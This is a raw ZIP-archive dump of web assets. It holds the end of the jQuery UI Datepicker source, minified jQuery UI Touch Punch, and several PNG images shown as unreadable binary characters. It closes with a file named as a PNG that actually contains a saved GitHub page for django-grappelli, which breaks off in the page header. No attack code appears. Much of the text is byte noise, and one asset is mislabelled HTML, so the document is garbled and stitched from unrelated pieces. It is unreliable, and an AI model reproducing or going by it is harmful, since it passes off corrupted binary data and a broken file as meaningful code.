function bindHover(dpDiv) {
	var selector = 'button, .ui-datepicker-prev, .ui-datepicker-next,
.ui-datepicker-calendar td a';
	return dpDiv.delegate(selector, 'mouseout', function() {
			$(this).removeClass('ui-state-hover');
			if (this.className.indexOf('ui-datepicker-prev') != -1)
$(this).removeClass('ui-datepicker-prev-hover');
			if (this.className.indexOf('ui-datepicker-next') != -1)
$(this).removeClass('ui-datepicker-next-hover');
		})
		.delegate(selector, 'mouseover', function(){
			if (!$.datepicker._isDisabledDatepicker( instActive.inline ?
dpDiv.parent()[0] : instActive.input[0])) {
				$(this).parents('.ui-datepicker-calendar').find('a').removeClass('ui-state-hover');
				$(this).addClass('ui-state-hover');
				if (this.className.indexOf('ui-datepicker-prev') != -1)
$(this).addClass('ui-datepicker-prev-hover');
				if (this.className.indexOf('ui-datepicker-next') != -1)
$(this).addClass('ui-datepicker-next-hover');
			}
		});
}

/* jQuery extend now ignores nulls! */
function extendRemove(target, props) {
	$.extend(target, props);
	for (var name in props)
		if (props[name] == null || props[name] == undefined)
			target[name] = props[name];
	return target;
};

/* Invoke the datepicker functionality.
   @param  options  string - a command, optionally followed by additional
parameters or
	                Object - settings for attaching new datepicker
functionality
   @return  jQuery object */
$.fn.datepicker = function(options){

	/* Verify an empty collection wasn't passed - Fixes #6976 */
	if ( !this.length ) {
		return this;
	}

	/* Initialise the date picker. */
	if (!$.datepicker.initialized) {
		$(document).mousedown($.datepicker._checkExternalClick).
			find(document.body).append($.datepicker.dpDiv);
		$.datepicker.initialized = true;
	}

	var otherArgs = Array.prototype.slice.call(arguments, 1);
	if (typeof options == 'string' && (options ==
'isDisabled' || options == 'getDate' || options ==
'widget'))
		return $.datepicker['_' + options + 'Datepicker'].
			apply($.datepicker, [this[0]].concat(otherArgs));
	if (options == 'option' && arguments.length == 2
&& typeof arguments[1] == 'string')
		return $.datepicker['_' + options + 'Datepicker'].
			apply($.datepicker, [this[0]].concat(otherArgs));
	return this.each(function() {
		typeof options == 'string' ?
			$.datepicker['_' + options + 'Datepicker'].
				apply($.datepicker, [this].concat(otherArgs)) :
			$.datepicker._attachDatepicker(this, options);
	});
};

$.datepicker = new Datepicker(); // singleton instance
$.datepicker.initialized = false;
$.datepicker.uuid = new Date().getTime();
$.datepicker.version = "1.9.2";

// Workaround for #4055
// Add another global to avoid noConflict issues with inline event handlers
window['DP_jQuery_' + dpuuid] = $;

})(jQuery);
PK�v�[�}r&assets/js/jquery.ui.touch-punch.min.jsnu�[���/*!
 * jQuery UI Touch Punch 0.2.3
 *
 * Copyright 2011–2014, Dave Furfero
 * Dual licensed under the MIT or GPL Version 2 licenses.
 *
 * Depends:
 *  jquery.ui.widget.js
 *  jquery.ui.mouse.js
 */
!function(a){function
f(a,b){if(!(a.originalEvent.touches.length>1)){a.preventDefault();var
c=a.originalEvent.changedTouches[0],d=document.createEvent("MouseEvents");d.initMouseEvent(b,!0,!0,window,1,c.screenX,c.screenY,c.clientX,c.clientY,!1,!1,!1,!1,0,null),a.target.dispatchEvent(d)}}if(a.support.touch="ontouchend"in
document,a.support.touch){var
e,b=a.ui.mouse.prototype,c=b._mouseInit,d=b._mouseDestroy;b._touchStart=function(a){var
b=this;!e&&b._mouseCapture(a.originalEvent.changedTouches[0])&&(e=!0,b._touchMoved=!1,f(a,"mouseover"),f(a,"mousemove"),f(a,"mousedown"))},b._touchMove=function(a){e&&(this._touchMoved=!0,f(a,"mousemove"))},b._touchEnd=function(a){e&&(f(a,"mouseup"),f(a,"mouseout"),this._touchMoved||f(a,"click"),e=!1)},b._mouseInit=function(){var
b=this;b.element.bind({touchstart:a.proxy(b,"_touchStart"),touchmove:a.proxy(b,"_touchMove"),touchend:a.proxy(b,"_touchEnd")}),c.call(b)},b._mouseDestroy=function(){var
b=this;b.element.unbind({touchstart:a.proxy(b,"_touchStart"),touchmove:a.proxy(b,"_touchMove"),touchend:a.proxy(b,"_touchEnd")}),d.call(b)}}}(jQuery);PK�v�[N0�{��assets/images/tree-rtl-bg.pngnu�[����PNG


IHDRQ'�
btEXtSoftwareAdobe
ImageReadyq�e<"iTXtXML:com.adobe.xmp<?xpacket
begin="" id="W5M0MpCehiHzreSzNTczkc9d"?>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP
Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> <rdf:RDF
xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about=""
xmlns:xmp="http://ns.adobe.com/xap/1.0/"
xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/"
xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#"
xmp:CreatorTool="Adobe Photoshop CS6 (Windows)"
xmpMM:InstanceID="xmp.iid:D4736FF8E1E511E6A7CA8F594CB160B7"
xmpMM:DocumentID="xmp.did:D4736FF9E1E511E6A7CA8F594CB160B7">
<xmpMM:DerivedFrom
stRef:instanceID="xmp.iid:D4736FF6E1E511E6A7CA8F594CB160B7"
stRef:documentID="xmp.did:D4736FF7E1E511E6A7CA8F594CB160B7"/>
</rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket
end="r"?>���hIDATx���1
�0�V<I��\%*�*uPT�_�4<]�^U�j2s+}���@
�@ �G�=�nG֌�㊈Ӧ���C �@
��"��z>q��IEND�B`�PK�v�[2�}^^)assets/images/ui-icons_444444_256x240.pngnu�[����PNG


IHDR�E�r@gAMA���abKGDD�<��tIME�
6�FmIDATx��{leG}�?g�K�Ɇ^CKd�*�M��&6"�R庅�	���T�*�Id��T��JyT�������[$�Q�Q�Ї%j!�Y�ҦP�R�U���%p��y͜3�sν���w��߼��͜��&x/MƁA�c���px�1A�Ġ���
b�-`�I"�k|��
�s�D'Iʃ�c!�Y��?l�G?�s�І��0�Z
"�o�"`Jy�t�(�P��5RH�&��<��m`����r�:�t
�b�t��<"�t�J�^��ߖwX��)�긏�i�t��ڇ�(wͩ�뛦!HL���2�Wͽ���F��w�)�����f��l�3�
����M���ž¶�g��δ��b�#�*`�1��(�׎��.��a{4�v��+�
����@������pxh8�4~?@>�˿�(��mG��3a�`�Ξ:�����#%$��Y��M�gФ�k�6��R��}�S�����I(��MO��v�`*�9w{|3�8��s$
�P}����a��e?�����M/>�u�A���2�z�E@��.�y;ޖeƖ6vղE4�S���{m�8lUVύ3��<����A�q�`��xxh8�4^/
����@�᷅�p-��٩��?X/z_a�%�%�n
��@��!
����?@X�RU�?b}`L�.Uc��%T����껜���ȥ
����R��@�?��P�-`��Y�BKl�ub����Z}�n{#=P���oE�
LcJ���*��{���洳ڙ��X��NC��c�"���s��MrI�j���K�6(�˼f*�%��fV�v	6�aS�n*�փl��L"��.�v�T�2�Mu֛��Z�_e�
�-�!LU��i���{Phpt	�s�����@������pxh8�4^�ph�,up���'\Z��"Z-��l�k.��	@rr���{����e+�[�\�fָ�ұ��y�:LTn�0WJ@}8�|��Ţ=�x�;Х��B_~���1�;^;Q*vV��w4�p@W>��N�v[�L�m'���t�.��%wsH��Y�趃�sT�C)e��Xg��a�N�U�ǯb
�U5AW�����2�ͽ��{K��:X�I�7+�	@��7�6ӥ2Y:��+��'cj2���`�?H����jJ9;�n?/�3��05�<�1U�\8SMi�U�o�R��.��l�Hl�N�
&�n��޸��r����WF�
g�1ıj���"��d��˵5Ց�l�M`���/@Ą�Ƥ��?"�;��h�4^/
����@�1Hsv��`�W�T}����ߨ_����=du/�0�d1w9��X�&��Q�p��xx`=�jg�.�)�![	�岔[4�f����vn�d���Ʒ���:s���h�Du��@=�m:0۫���ʦ���طM�}����OU���lJd

�[������l�ly�Pga꺠���[�:>>��LDkZ�Y���ֺ�c
h���?U!zӋU9��ch�8d���|��K�m�~c��=��^��
s�g��޻H2(ICT�P����[�
�KUa��t4�ڼk�M�t��x1��_&�>���P~����V����p���2��@���������pxh8�4^���ְ,�6yp�e�L6�U�EwO^��ahP�]��)f�Fy�$B�2���>��^��W�ͫ�I�n�U�@�.����E�<
���O�Us�n>��@d
�{/"���\�1�w�y�U{��w7��MrW�/�(ȧ��>�qHlY��=^�,Y	����;N��Ų�˟lf��#t|$�4�i���&�Q�J���sϗA��X­4TR�F�#��M�w0b���Z	=��0�H�j��ryz�V�(��5�nO��J&}<�v���!w�@d�O$���HQ�-��������c'���F�����h�/��
��yP
<��asᙴ�>[�Ǟ�@������p��L�+
S}I�
���6u��Hf�[e�rJZ,�6���v�e���ue�Z�q�7��]v��7�"0e-��z\���n�	�3�r):r/��+B��l6}>�yM�ٹ�%�h�E�C��BX�Ը���l���%T��8/K�O��0׳��K���cm��y���1D��:�K�$_`M�
���5f�aIS����n���c�N�X"�!�R�LK"0����P�������q��AWN�VP��U���(�iJ�lƟ�6�ȗ��k\�=�ц8d����,�s��9IWl"���E���[�e8�5\e(���Y���"�r������q6�u-	|��B���R��ix>��9�W�HD����g�t�K��G�|��2��"�.�t���V������E�u>�b�������f���a?q�h'y'r�y���ԫ�L�M��e�^��-�U=��-���³��K\
|
��_���W�*��*ƸJ�$��J�T=l��~��y��y�v�)��e���1~9�7V(��$�uڴ9@�;�[J�5�?*��pl!��x	���W�a-"T�-Vq�细�6
0�6�}[�S]%����7Q�K�D3"YO��M�6iv�Q�5C��t��/����7	�8�-*�"����_E�U�y0�x�+CxG�3�D��
�W�l�,>�O�l�<xB�+b�e�{�z������a�0b
�u���T����L=�`���yYf�0	��@0J��
��pxh8�4^F����"��r8����͛n�RZԧ[v�-�P�7��/��E'�Z~�t����O�N�v��O�I����g���آ�4��؛��m�
��p���168,1ŢD/w�obۗ�O�i�ڻsK?�=<��B|W{|�~zOO�������*�t�q���uZt�%c�3�<?�,���֝��X�5Q"�Gִ����W}���
���Q>ʣ��C��b�YV
6=��*��ۿ�M\�����8hs�����������8��'Ϳ,�l������E�b���\Y�e���M6܈��d9u��J�ZĽj���l�}����&8�:s�ךt���yis���Gm�h-�m��k�2�P�J��e%u\j5���n���|���;����δa[�;�Хˎ�p�?�|�y��RaC$�_a�/���	N�uN�e�ƍ��Ȅp��~�Ú�/���k�������n�������3|��(G����".�s��9�J�ۇ��l�������{�6�)X���{�����SDf�†�<��|��0��a��ƅDP���
~j���gco�gs{;�����'�Z9�Z��.��O�孁���e���U�~?�Ӆ1N3��ڶD�(��	Ws�rW�g��h��0����)=c�9M���!
�Y��;�Qd��[��{.�h�_���5�؋�nF�7��0Q��O����S5�:�'���/��ա���J�r����
�}\�#<,�W���$�<��K��|�L�[�0pI���2��JS�_�݂��`�?��tɦ�'t�w6�1u�V��L�5��A��x���<F�7!�q]�'���~�y5��E��h8�-����pxh8�4���l�QP:�)�z�tt��}�X��i���^u�u�"�l���vW��
b�
��*�9ͻx��W
1��D�K��8�
|������pC!��}E~7C~?C�n1[�C�'I_O��	,�J͞�D\\I�g�<˴��I6�*Q�����x�]�~�W)�^�~��(�B�y��\�ӑ�����ľ�U��k���:�ͅҍ2�
W�!�B�Ԝ�i�M֘�<�Ŏ�$��l2�&*�j�֞�_er=�M�?�'��OxSI��xj�_+]�t�+1�z
��ӡ;,ĶV��5�S��~'�L2ɏ����<gY�%ݼ�E���2z@wC����X�4�Y�ĺ̝zޞ��!Yg8�˅������O<�*5�>���x�՘2�Ht!6ɽV�\'�S��3�6����6���N���0����G�.����[PPwB����<����g�}�e)�H��U�C�xW\�~���`�9V8��!ٱ�b�����^�豨vh�M�J�–/�!�6<�r�i�/���8��*��c¯y͐�J��>�S��j���c���
@��m���F�?�aֺ��k�b���e��bKT6�U����B�f�*�͘y�w	�#q�JԄ�3�(��e>�B���~�d�{��fE����P��8�8�^�����:l�\���Z�nLBdC@�"zIj��o!~�Ħ�"�?ǝ��[��E��ؿfH��|�%�����#tY��Hͪ�!lc9^8<���˅h�:"����MF�eF���5p���f�覊�Yn�Yͣ�n��Fh�M1w8�N<�<�s	w�?`[�J!Az^
?�<̯�oɛ�_s[Kg{(e�}�E�~J��,��<ܧ����U����
"&B%�7�~�{�/
G�l�4^���j���ιԒt���cA��0�/�����ܓ{�ܠ�Q�8��YN�Bݞ�?[���R��$�k���\�{�u���׾~�Q��q�)�8���z:G�G��UK�:�
07��6�-��
WMY<�����
���Ѱ۸(5�&v�}%��8�)#9&)/��K^2�)��B̳�)��V.jRps�n��B��^ߊט�4�m7�.�F�wQ�|餟*��<���m��O�c��&`8���t��۬f+�����6��D������h/��gr�\�2Nl�}��jH��R4�Ȫ��"�����fl׳��98�,˨�)��\Ԧ��27B��jcTf�褿[��1{��2��i�2�{Y���L�A�]~�L7��S�_��\4�ڞr����M���7��ɝA�R�k�9ٮ��Nl!l�
��Y����W�	dH	���=Q����sԻ��"N�U�m�O`�;Ip�������+&R�@c�c$ᭁ
����@������pxȣc���@�

@���#��Օ����q�BǺ�a�A�V�B�F&<-m
VcKC�Ղ�ⷨ�/J)�D��P�E
�sg�ˮ�}����k<�\��{�x!�5�����}q�RX�L�]���/���
0�l)'�YT�:�Z����K-��Pxj�0I
:T�PQ)��ꦴ��5f�W9��3$
�!���l�IR�o0}?BQ�*6r��*3���a��!}����O�A����԰	C	y������Q>B6W)Oݗ��<:�Xl��Cxh8�J`������pxh8�4y0���AdЊ]�^�u_����~
�c_"���9�1�J&�����p�D�\����`q��$AgY�|���y�P�9B�:Vg�EW�߲��~�=4��E�Mn��ָD[s;�2��t4�F�T���bw�x�C�!o�u�*8\W�_�ӏh���c�������؋�ڜ(�67��ǘ�����m�7���G�?���pM��6��#�xL��wE^DPk�$�3�eA�Y�~U��RA����A�vX��||hz�6k�)�X�(ONث��K��{J��
�F�alr�;h��1 �
0
���Gd���C�6�E�<��}���px[@������pxh82��P�~+��u��ߠ������K����7��4�2"���U�>���ou�6G�����~���@4d���cS��D��w�W�ޝ��!������5�B�������/��|�
�`�.��.�B͕�Ȼ�U;�������|Azһ�]���W��v��>`��
���_k�/yz/ГCj���bl�d���cu�Ȟ~�L͕���P�}��y5���
��'p�~~*�_�U#�!G��B
|V�:ĵ��>b���%��=A���y�Շ��*^_�b
�T�)}7
b�P��o��h�hh���~��r�M��/d���������.�?,<}T���U�'�_X����~u�%	��	.(����?�6��s�'��Q<}R���V�A_U?[��򗍟w^U�H�_͕���8�+��Q���{]���n����K{F�w�M��H�k�pS����)\]��|�7iǿ��O	��z��7hze�
!
��6^/
����@�����A'ݣdk�X�mW�.�c�P�nךB���N�CB^l�e�HO�3�`c�Ηw�����C������c�鑇=B�&L��}C�GI���
�ȱ�)��6�(	yh���=���T��=*�/5^/
����@����ؿ0��zY꯳�L2�rO��d�sid���
[�ؿ=�b�d؊�[���!\5@�D���?5"���0a����1h��-���ſr�v
���H�s�^A��LY���S��'E!��W���~?�ä<�W
P�ʱBΣ\5�^��]T�s����_�v����	Y���C���k��	��z^yy^j%tEXtdate:create2016-09-14T13:33:16-04:00!
%tEXtdate:modify2016-07-13T05:26:54-04:000Lm�tEXtSoftwareAdobe
ImageReadyq�e<IEND�B`�PK�v�[<?B��assets/images/tree-bg.pngnu�[����PNG


IHDRQ���tEXtSoftwareAdobe
ImageReadyq�e<"iTXtXML:com.adobe.xmp<?xpacket
begin="" id="W5M0MpCehiHzreSzNTczkc9d"?>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP
Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> <rdf:RDF
xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about=""
xmlns:xmp="http://ns.adobe.com/xap/1.0/"
xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/"
xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#"
xmp:CreatorTool="Adobe Photoshop CS6 (Windows)"
xmpMM:InstanceID="xmp.iid:F9D96D8DCE6911E68821B3447F1368B9"
xmpMM:DocumentID="xmp.did:F9D96D8ECE6911E68821B3447F1368B9">
<xmpMM:DerivedFrom
stRef:instanceID="xmp.iid:F9D96D8BCE6911E68821B3447F1368B9"
stRef:documentID="xmp.did:F9D96D8CCE6911E68821B3447F1368B9"/>
</rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket
end="r"?>�6�bIDATx��ױ
�0@1I��)���"��(�L�s\~VU�{���w����@
���]��2}<zL���7g_]9T3 �@
��&����U�6IEND�B`�PK�v�[�\�>!assets/images/tree-rtl-lv2-bg.pngnu�[����PNG


IHDR-QF�/ tEXtSoftwareAdobe
ImageReadyq�e<"iTXtXML:com.adobe.xmp<?xpacket
begin="" id="W5M0MpCehiHzreSzNTczkc9d"?>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP
Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> <rdf:RDF
xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about=""
xmlns:xmp="http://ns.adobe.com/xap/1.0/"
xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/"
xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#"
xmp:CreatorTool="Adobe Photoshop CS6 (Windows)"
xmpMM:InstanceID="xmp.iid:051D03B0E1E611E6BFC9AAC84EBB5FE0"
xmpMM:DocumentID="xmp.did:051D03B1E1E611E6BFC9AAC84EBB5FE0">
<xmpMM:DerivedFrom
stRef:instanceID="xmp.iid:051D03AEE1E611E6BFC9AAC84EBB5FE0"
stRef:documentID="xmp.did:051D03AFE1E611E6BFC9AAC84EBB5FE0"/>
</rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket
end="r"?>j1R�IDATx���A
�
@Q�N2�?�\e,hQ��F���jzU��e�TD�CK�0hhhhhhhhhhhhhhhhhhhhhhhhh�yZ�63��Co�j���#���1f���������������������������m0B>p�"IEND�B`�PK�v�[���011!assets/images/tree-rtl-lv3-bg.pngnu�[����PNG


IHDRAQ�!��tEXtSoftwareAdobe
ImageReadyq�e<"iTXtXML:com.adobe.xmp<?xpacket
begin="" id="W5M0MpCehiHzreSzNTczkc9d"?>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP
Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> <rdf:RDF
xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about=""
xmlns:xmp="http://ns.adobe.com/xap/1.0/"
xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/"
xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#"
xmp:CreatorTool="Adobe Photoshop CS6 (Windows)"
xmpMM:InstanceID="xmp.iid:3DDF0857E1E611E6A3E69D6A830EF14F"
xmpMM:DocumentID="xmp.did:3DDF0858E1E611E6A3E69D6A830EF14F">
<xmpMM:DerivedFrom
stRef:instanceID="xmp.iid:3DDF0855E1E611E6A3E69D6A830EF14F"
stRef:documentID="xmp.did:3DDF0856E1E611E6A3E69D6A830EF14F"/>
</rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket
end="r"?>�߾\�IDATx���A
� @Q�N2�?�\e,hQm{#n�jzU��e�TD�6AK @�
@� @� @�
@��A��ff����i��0�M���C�X��
@� @�A� @� @��!�
>*��hIEND�B`�PK�v�[��iqMqM6assets/images/ui-bg_highlight-soft_75_cccccc_1x100.pngnu�[���



<!DOCTYPE html>
<html lang="en" class=" is-u2f-enabled">
  <head prefix="og: http://ogp.me/ns# fb: http://ogp.me/ns/fb#
object: http://ogp.me/ns/object# article: http://ogp.me/ns/article#
profile: http://ogp.me/ns/profile#">
    <meta charset='utf-8'>
    

    <link crossorigin="anonymous"
href="https://assets-cdn.github.com/assets/frameworks-c07e6f4b02b556d1d85052fb3853caf84c80e6b23dcdb1ae1b00f051da1115a2.css"
integrity="sha256-wH5vSwK1VtHYUFL7OFPK+EyA5rI9zbGuGwDwUdoRFaI="
media="all" rel="stylesheet" />
    <link crossorigin="anonymous"
href="https://assets-cdn.github.com/assets/github-f7908bec66dc71ca22b3075562a80e472f6e9f39ab2bfcb7e5eee9f041237433.css"
integrity="sha256-95CL7GbcccoiswdVYqgORy9unzmrK/y35e7p8EEjdDM="
media="all" rel="stylesheet" />
    
    
    <link crossorigin="anonymous"
href="https://assets-cdn.github.com/assets/site-293f92180d0a619a750fa2b5eae9e36740f5723a59c0ec308972c70d24e834fc.css"
integrity="sha256-KT+SGA0KYZp1D6K16unjZ0D1cjpZwOwwiXLHDSToNPw="
media="all" rel="stylesheet" />
    

    <meta http-equiv="X-UA-Compatible"
content="IE=edge">
    <meta http-equiv="Content-Language"
content="en">
    <meta name="viewport"
content="width=device-width">
    
    <title>django-grappelli/ui-bg_highlight-soft_75_cccccc_1x100.png
at grappelli_2_4 · sehmaschine/django-grappelli · GitHub</title>
    <link rel="search"
type="application/opensearchdescription+xml"
href="/opensearch.xml" title="GitHub">
    <link rel="fluid-icon"
href="https://github.com/fluidicon.png"
title="GitHub">
    <link rel="apple-touch-icon"
href="/apple-touch-icon.png">
    <link rel="apple-touch-icon" sizes="57x57"
href="/apple-touch-icon-57x57.png">
    <link rel="apple-touch-icon" sizes="60x60"
href="/apple-touch-icon-60x60.png">
    <link rel="apple-touch-icon" sizes="72x72"
href="/apple-touch-icon-72x72.png">
    <link rel="apple-touch-icon" sizes="76x76"
href="/apple-touch-icon-76x76.png">
    <link rel="apple-touch-icon" sizes="114x114"
href="/apple-touch-icon-114x114.png">
    <link rel="apple-touch-icon" sizes="120x120"
href="/apple-touch-icon-120x120.png">
    <link rel="apple-touch-icon" sizes="144x144"
href="/apple-touch-icon-144x144.png">
    <link rel="apple-touch-icon" sizes="152x152"
href="/apple-touch-icon-152x152.png">
    <link rel="apple-touch-icon" sizes="180x180"
href="/apple-touch-icon-180x180.png">
    <meta property="fb:app_id"
content="1401488693436528">

      <meta
content="https://avatars2.githubusercontent.com/u/185432?v=3&amp;s=400"
name="twitter:image:src" /><meta
content="@github" name="twitter:site" /><meta
content="summary" name="twitter:card" /><meta
content="sehmaschine/django-grappelli"
name="twitter:title" /><meta content="django-grappelli
- A jazzy skin for the Django Admin-Interface (official repository)."
name="twitter:description" />
      <meta
content="https://avatars2.githubusercontent.com/u/185432?v=3&amp;s=400"
property="og:image" /><meta content="GitHub"
property="og:site_name" /><meta content="object"
property="og:type" /><meta
content="sehmaschine/django-grappelli"
property="og:title" /><meta
content="https://github.com/sehmaschine/django-grappelli"
property="og:url" /><meta content="django-grappelli -
A jazzy skin for the Django Admin-Interface (official repository)."
property="og:description" />
      <meta name="browser-stats-url"
content="https://api.github.com/_private/browser/stats">
    <meta name="browser-errors-url"
content="https://api.github.com/_private/browser/errors">
    <link rel="assets"
href="https://assets-cdn.github.com/">
    
    <meta name="pjax-timeout" content="1000">
    
    <meta name="request-id"
content="71BEFEEF:27C5:199BC41A:587C97B2" data-pjax-transient>

    <meta name="msapplication-TileImage"
content="/windows-tile.png">
    <meta name="msapplication-TileColor"
content="#ffffff">
    <meta name="selected-link" value="repo_source"
data-pjax-transient>

    <meta name="google-site-verification"
content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU">
<meta name="google-site-verification"
content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA">
    <meta name="google-analytics"
content="UA-3769691-2">

<meta content="collector.githubapp.com"
name="octolytics-host" /><meta content="github"
name="octolytics-app-id" /><meta
content="71BEFEEF:27C5:199BC41A:587C97B2"
name="octolytics-dimension-request_id" />
<meta
content="/&lt;user-name&gt;/&lt;repo-name&gt;/blob/show"
data-pjax-transient="true" name="analytics-location"
/>



  <meta class="js-ga-set" name="dimension1"
content="Logged Out">



        <meta name="hostname"
content="github.com">
    <meta name="user-login" content="">

        <meta name="expected-hostname"
content="github.com">
      <meta name="js-proxy-site-detection-payload"
content="M2NlMDcwNjMxYWEyNDI2NGFjY2Q3YzEyNjFhZjU5NzcwY2Y2YmYyZWE5Mjc3NzVjZWMwYmQ0ZDVhZDhjMDRlZnx7InJlbW90ZV9hZGRyZXNzIjoiMTEzLjE5MC4yNTQuMjM5IiwicmVxdWVzdF9pZCI6IjcxQkVGRUVGOjI3QzU6MTk5QkM0MUE6NTg3Qzk3QjIiLCJ0aW1lc3RhbXAiOjE0ODQ1NjAzMTAsImhvc3QiOiJnaXRodWIuY29tIn0=">


      <link rel="mask-icon"
href="https://assets-cdn.github.com/pinned-octocat.svg"
color="#000000">
      <link rel="icon" type="image/x-icon"
href="https://assets-cdn.github.com/favicon.ico">

    <meta name="html-safe-nonce"
content="0754deac85573f6da8ddcd69e5a491b9a8064bdd">

    <meta http-equiv="x-pjax-version"
content="6182178810b65c12b6895178ee61bf5a">
    

      
  <meta name="description" content="django-grappelli - A
jazzy skin for the Django Admin-Interface (official repository).">
  <meta name="go-import"
content="github.com/sehmaschine/django-grappelli git
https://github.com/sehmaschine/django-grappelli.git">

  <meta content="185432"
name="octolytics-dimension-user_id" /><meta
content="sehmaschine"
name="octolytics-dimension-user_login" /><meta
content="580566"
name="octolytics-dimension-repository_id" /><meta
content="sehmaschine/django-grappelli"
name="octolytics-dimension-repository_nwo" /><meta
content="true"
name="octolytics-dimension-repository_public" /><meta
content="false"
name="octolytics-dimension-repository_is_fork" /><meta
content="580566"
name="octolytics-dimension-repository_network_root_id"
/><meta content="sehmaschine/django-grappelli"
name="octolytics-dimension-repository_network_root_nwo" />
  <link
href="https://github.com/sehmaschine/django-grappelli/commits/grappelli_2_4.atom"
rel="alternate" title="Recent Commits to
django-grappelli:grappelli_2_4"
type="application/atom+xml">


      <link rel="canonical"
href="https://github.com/sehmaschine/django-grappelli/blob/grappelli_2_4/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
data-pjax-transient>
  </head>


  <body class="logged-out  env-production windows vis-public
page-blob">
    <div id="js-pjax-loader-bar"
class="pjax-loader-bar"><div
class="progress"></div></div>
    <a href="#start-of-content" tabindex="1"
class="accessibility-aid js-skip-to-content">Skip to
content</a>

    
    
    



          <header class="site-header js-details-container Details
alt-body-font" role="banner">
  <div class="container-responsive">
    <a class="header-logo-invertocat"
href="https://github.com/" aria-label="Homepage"
data-ga-click="(Logged out) Header, go to homepage,
icon:logo-wordmark">
      <svg aria-hidden="true" class="octicon
octicon-mark-github" height="32" version="1.1"
viewBox="0 0 16 16" width="32"><path
fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29
6.53 5.47 7.59.4.07.55-.17.55-.38
0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01
1.08.58 1.23.82.72 1.21 1.87.87
2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95
0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18
1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16
1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65
3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013
8.013 0 0 0 16 8c0-4.42-3.58-8-8-8z"/></svg>
    </a>

    <button class="btn-link float-right site-header-toggle
js-details-target" type="button" aria-label="Toggle
navigation">
      <svg aria-hidden="true" class="octicon
octicon-three-bars" height="24" version="1.1"
viewBox="0 0 12 16" width="18"><path
fill-rule="evenodd" d="M11.41 9H.59C0 9 0 8.59 0 8c0-.59 0-1
.59-1H11.4c.59 0 .59.41.59 1 0 .59 0 1-.59 1h.01zm0-4H.59C0 5 0 4.59 0
4c0-.59 0-1 .59-1H11.4c.59 0 .59.41.59 1 0 .59 0 1-.59 1h.01zM.59
11H11.4c.59 0 .59.41.59 1 0 .59 0 1-.59 1H.59C0 13 0 12.59 0 12c0-.59 0-1
.59-1z"/></svg>
    </button>

    <div class="site-header-menu">
      <nav class="site-header-nav site-header-nav-main">
        <a href="/personal"
class="js-selected-navigation-item nav-item nav-item-personal"
data-ga-click="Header, click, Nav menu - item:personal"
data-selected-links="/personal /personal">
          Personal
</a>        <a href="/open-source"
class="js-selected-navigation-item nav-item nav-item-opensource"
data-ga-click="Header, click, Nav menu - item:opensource"
data-selected-links="/open-source /open-source">
          Open source
</a>        <a href="/business"
class="js-selected-navigation-item nav-item nav-item-business"
data-ga-click="Header, click, Nav menu - item:business"
data-selected-links="/business /business/partners /business/features
/business/customers /business">
          Business
</a>        <a href="/explore"
class="js-selected-navigation-item nav-item nav-item-explore"
data-ga-click="Header, click, Nav menu - item:explore"
data-selected-links="/explore /trending /trending/developers
/integrations /integrations/feature/code /integrations/feature/collaborate
/integrations/feature/ship /showcases /explore">
          Explore
</a>      </nav>

      <div class="site-header-actions">
            <a class="btn btn-primary site-header-actions-btn"
href="/join?source=header-repo" data-ga-click="(Logged out)
Header, clicked Sign up, text:sign-up">Sign up</a>
          <a class="btn site-header-actions-btn mr-1"
href="/login?return_to=%2Fsehmaschine%2Fdjango-grappelli%2Fblob%2Fgrappelli_2_4%2Fgrappelli%2Fstatic%2Fgrappelli%2Fjquery%2Fui%2Fcss%2Fcustom-theme%2Fimages%2Fui-bg_highlight-soft_75_cccccc_1x100.png"
data-ga-click="(Logged out) Header, clicked Sign in,
text:sign-in">Sign in</a>
      </div>

        <nav class="site-header-nav site-header-nav-secondary
mr-md-3">
          <a class="nav-item"
href="/pricing">Pricing</a>
          <a class="nav-item"
href="/blog">Blog</a>
          <a class="nav-item"
href="https://help.github.com">Support</a>
          <a class="nav-item header-search-link"
href="https://github.com/search">Search GitHub</a>
              <div class="header-search scoped-search
site-scoped-search js-site-search" role="search">
